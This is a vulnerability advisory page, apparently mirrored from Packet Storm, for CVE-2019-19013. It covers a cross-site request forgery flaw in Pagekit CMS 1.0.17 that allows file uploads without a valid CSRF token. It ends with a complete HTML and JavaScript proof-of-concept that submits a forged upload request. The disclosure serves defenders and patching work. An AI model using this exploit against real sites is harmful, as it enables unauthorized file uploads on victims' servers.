Vulners
Lucene search
Pagekit CMS 1.0.17 Cross Site Request Forgery
🗓️ 21 Nov 2019 00:00:00Reported by Christian BortoneType 
packetstorm🔗 packetstormsecurity.com👁 286 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2019-19013 | 22 Nov 201916:15 | – | attackerkb |
 | CVE-2019-19013 | 26 Feb 202416:17 | – | circl |
 | Pagekit CMS Cross-Site Request Forgery Vulnerability | 22 Nov 201900:00 | – | cnvd |
 | CVE-2019-19013 | 22 Nov 201915:55 | – | cve |
 | CVE-2019-19013 | 22 Nov 201915:55 | – | cvelist |
 | EUVD-2022-2755 | 3 Oct 202520:07 | – | euvd |
 | Pagekit File Upload vulnerability | 24 May 202217:01 | – | github |
 | CVE-2019-19013 | 22 Nov 201916:15 | – | nvd |
 | GHSA-692X-89XV-64JX Pagekit File Upload vulnerability | 24 May 202217:01 | – | osv |
 | Cross site request forgery (csrf) | 22 Nov 201916:15 | – | prion |
10
`Title:
====
Pagekit CMS 1.0.17 Cross-Site Request Forgery (CSRF) vulnerability
Credit:
======
Name: Christian Bortone
CVE:
====
CVE-2019-19013
Date:
====
11/18/2019 (dd/mm/yyyy)
Vendor:
======
Pagekit is a modern and lightweight open source CMS.
Vendor link: https://pagekit.com/
Vulnerable Product:
==============
Pagekit CMS 1.0.17
Abstract:
=======
Cross-Site Request Forgery (CSRF) vulnerability in Pagekit 1.0.17 could allow an attacker to upload arbitrary file by removing the CSRF token from the request.
Exploitation-Technique:
===================
Remote
Severity Rating (CVSS):
===================
4.6 (Medium) (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)
Details:
=======
A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Pagekit CMS which allows a remote attacker to upload forged files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The specific flaw exists within the handling of request to upload file in the store section. The application failed to validate CSRF token on the POST request (the token can be remove from the request). The request also contain a second token (WebkitFormBoudary) not tied to the session user. An attacker with less privilege on the system can operate a CRSF attack
Vulnerable module/page/application: /site/storage (upload file)
PoC Exploit code:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +
"Content-Type: image/jpeg\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"/\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"root\"\r\n" +
"\r\n" +
"storage\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +
"Content-Disposition: form-data; name=\"_csrf\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
----------------------------------------------------------------------------
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Nov 2019 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.00178